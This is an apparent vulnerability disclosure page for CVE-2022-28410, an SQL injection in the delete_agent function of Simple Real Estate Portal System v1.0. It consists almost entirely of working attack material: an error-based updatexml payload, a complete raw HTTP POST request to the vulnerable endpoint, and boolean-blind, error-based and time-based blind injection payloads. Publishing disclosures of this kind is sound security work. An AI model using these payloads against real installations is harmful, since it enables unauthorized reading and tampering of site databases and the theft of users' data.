CVE-2022-28410: bug_report/SQLi-4.md at main · k0xx11/bug_report

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Simple Real Estate Portal System v1.0 has a SQL injection vulnerability

vendors: https://www.sourcecodester.com/php/15184/simple-real-estate-portal-system-phpoop-free-source-code.html

Vulnerability file: /reps/classes/Users.php?f=delete_agent

Vulnerability location: /reps/classes/Users.php?f=delete_agent , id

[+] Payload: id=1’ and updatexml(1,concat(0x7e,(select database()),0x7e),0)–+ //id is Injection point

POST /reps/classes/Users.php?f=delete_agent HTTP/1.1
Host: 192.168.1.19
Content-Length: 65
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.82 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.1.19
Referer: http://192.168.1.19/reps/admin/?page=agents
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=b7n0d4rju88m3p50kmalnvn6ti
Connection: close

id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ //id is Injection point

— Parameter: id (POST) Type: boolean-based blind Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: id=1’ RLIKE (SELECT (CASE WHEN (7043=7043) THEN 1 ELSE 0x28 END))-- nmnX Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: id=1’ AND (SELECT 8027 FROM(SELECT COUNT(*),CONCAT(0x7171717871,(SELECT (ELT(8027=8027,1))),0x716a6b6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- WTeh

Type: time\-based blind
Title: MySQL \>= 5.0.12 AND time\-based blind (query SLEEP)
Payload: id\=1' AND (SELECT 9988 FROM (SELECT(SLEEP(5)))oDDv)-- XFnj

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